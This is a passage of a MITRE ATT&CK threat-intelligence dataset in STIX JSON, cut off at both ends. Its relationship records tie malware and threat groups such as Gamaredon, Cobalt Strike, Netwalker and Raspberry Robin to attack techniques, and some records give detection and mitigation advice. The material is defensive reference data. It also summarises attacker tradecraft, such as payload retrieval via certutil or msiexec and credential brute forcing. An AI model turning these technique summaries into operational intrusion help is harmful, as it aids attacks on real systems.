Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd82b9d7-d60c-4dc0-97d7-244a1365a1e9","type":"relationship","created":"2020-05-12T14:12:19.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T20:33:57.737Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has used 7Zip to compress .txt, .pdf, .xls or .doc files prior to exfiltration.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd84b767-1623-421b-8f31-048924be5f17","created":"2020-06-16T17:53:19.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Gamaredon June 2020","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T04:36:22.386Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has delivered self-extracting 7z archive files within malicious document attachments.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd86550a-6b4d-4385-bf80-404bfe8cb038","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor newly constructed processes that assist in lateral tool transfers. ","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd88acc4-a6c0-43ac-9967-6158469d97bb","type":"relationship","created":"2021-06-30T19:50:14.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-30T19:50:14.771Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) can list files and directories on a compromised host.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd89d8a2-257a-47f9-8b55-8011ca53007b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-30T03:07:37.852Z","description":"[T9000](https://attack.mitre.org/software/S0098) can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files.(Citation: Palo Alto T9000 Feb 2016)","relationship_type":"uses","source_ref":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd8a9180-706c-4ba3-88a7-e674cde96d8f","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-14T15:25:12.419Z","description":"Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls. Static Portable Executable (PE) analysis tools can be used to examine and dump the exports of a particular DLL. ","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd8baf22-4e06-4b5e-81c6-d100048102e8","type":"relationship","created":"2020-02-20T22:02:20.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."}],"modified":"2020-02-21T14:11:14.637Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.","relationship_type":"mitigates","source_ref":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","target_ref":"attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd8d683a-0c17-448f-b604-105e130f4b04","type":"relationship","created":"2020-05-21T21:31:34.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-06-15T16:51:22.108Z","description":"[Pony](https://attack.mitre.org/software/S0453) has used a small dictionary of common passwords against a collected list of local accounts.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd900d1e-ef80-4e35-9cf3-53653babf346","type":"relationship","created":"2020-11-06T18:40:38.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"}],"modified":"2022-02-25T18:58:14.878Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can make tokens from known credentials.(Citation: cobaltstrike manual)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd909ab4-9160-4194-9213-7478189936e0","created":"2024-05-20T23:45:11.284Z","revoked":false,"external_references":[{"source_name":"Symantec Tortoiseshell 2019","description":"Symantec Threat Hunter Team. (2019, September 18). Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks. Retrieved May 20, 2024.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T23:45:11.284Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has leveraged PowerShell scripts for initial process execution and data gathering in victim environments.(Citation: Symantec Tortoiseshell 2019)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd9677aa-d14a-427f-9b47-2ce722278344","created":"2024-05-17T20:25:33.088Z","revoked":false,"external_references":[{"source_name":"Huntress NPPSPY 2022","description":"Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved May 17, 2024.","url":"https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:25:33.088Z","description":"[NPPSPY](https://attack.mitre.org/software/S1131) captures user input into the Winlogon process by redirecting RPC traffic from legitimate listening DLLs within the operating system to a newly registered malicious item that allows for recording logon information in cleartext.(Citation: Huntress NPPSPY 2022)","relationship_type":"uses","source_ref":"tool--0630d1a7-54da-4a48-a6af-eb8a62b13c17","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd9a12ee-30b1-4764-860d-111c73411ebe","type":"relationship","created":"2021-03-16T22:47:15.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Driver Block Rules","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules","description":"Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021."}],"modified":"2021-04-22T16:13:35.353Z","description":"Consider blocking the execution of known vulnerable drivers that adversaries may exploit to execute code in kernel mode. Validate driver block rules in audit mode to ensure stability prior to production deployment.(Citation: Microsoft Driver Block Rules)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd9c1644-259d-4980-8058-fdc3c72fac7b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/","description":"F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.","source_name":"F-Secure Sofacy 2015"},{"source_name":"Talos Seduploader Oct 2017","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."}],"modified":"2020-03-20T16:40:41.241Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) is executed using rundll32.exe.(Citation: F-Secure Sofacy 2015)(Citation: Talos Seduploader Oct 2017)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd9e0f42-5d9d-4690-9d34-4e08a29d4868","type":"relationship","created":"2021-09-24T21:41:35.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"HackerNews IndigoZebra July 2021","url":"https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html","description":"Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021."},{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-24T22:08:18.655Z","description":"[IndigoZebra](https://attack.mitre.org/groups/G0136) sent spearphishing emails containing malicious password-protected RAR attachments.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd9f1283-ff4b-4314-b7ce-f326d6932bab","type":"relationship","created":"2021-09-21T14:39:55.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2021-09-21T14:39:55.535Z","description":"[FIN7](https://attack.mitre.org/groups/G0046)'s Harpy backdoor malware can use DNS as a backup channel for C2 if HTTP fails.(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dda297c6-2edc-47c5-b32b-0d4ef0f85be4","created":"2019-09-24T12:59:58.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos ZxShell Oct 2014","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.","url":"https://blogs.cisco.com/security/talos/opening-zxshell"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.550Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has a feature to perform SYN flood attack on a host.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dda7159b-33a3-4788-a080-0cf3cb354d88","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dda729e3-eb8c-4c4d-a2cf-b34c5f9f8c52","created":"2024-05-17T13:21:57.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"},{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T17:52:56.138Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) uses msiexec.exe for post-installation communication to command and control infrastructure.(Citation: RedCanary RaspberryRobin 2022) Msiexec.exe is executed referencing a remote resource for second-stage payload retrieval and execution.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dda9f6bb-eb66-422b-aa58-fede809b6a6a","type":"relationship","created":"2020-05-27T22:05:32.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Netwalker May 2020","url":"https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/","description":"Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."}],"modified":"2020-05-27T22:05:32.062Z","description":"Operators deploying [Netwalker](https://attack.mitre.org/software/S0457) have used psexec and certutil to retrieve the [Netwalker](https://attack.mitre.org/software/S0457) payload.(Citation: Sophos Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ddb0965b-83ac-4746-bfaa-a7356691ef43","created":"2024-02-12T20:29:38.667Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T20:29:38.667Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has named exfiltration archives to mimic Windows Updates at times using filenames with a `KB.zip` pattern.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ddbbd283-6874-4348-82c7-98df6d59ac41","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T19:43:39.447Z","description":"[FruitFly](https://attack.mitre.org/software/S0277) looks for specific files and file types.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--4a98e44a-bd52-461e-af1e-a4457de87a36","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ddbd1e21-1ec2-40b8-8dbc-37ef27250876","created":"2022-03-30T14:26:51.847Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","modified":"2022-04-10T17:21:45.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ddbd80ff-1319-4c9e-ad3c-93091b12a577","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ddc5f723-da25-42b0-b281-4cc20d3e8da1","created":"2023-09-27T19:49:41.528Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T19:49:41.528Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--34a80bc4-80f2-46e6-94ff-f3265a4b657c","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ddc692ea-33e8-493d-a5e3-ce0de48da15c","created":"2021-01-20T18:13:37.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.430Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has collected credentials for the target organization from previous breaches for use in brute force attacks.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ddc7af3d-f8d7-468a-b9ed-59823f96fac2","type":"relationship","created":"2021-03-25T16:07:46.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T16:07:46.598Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used tools to download malicious files to compromised hosts.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ddd70255-e5c4-4812-93e5-a20cdf993330","created":"2024-07-25T22:35:20.487Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:35:20.487Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) gathers information on victim system users and usernames.(Citation: ESET EvasivePanda 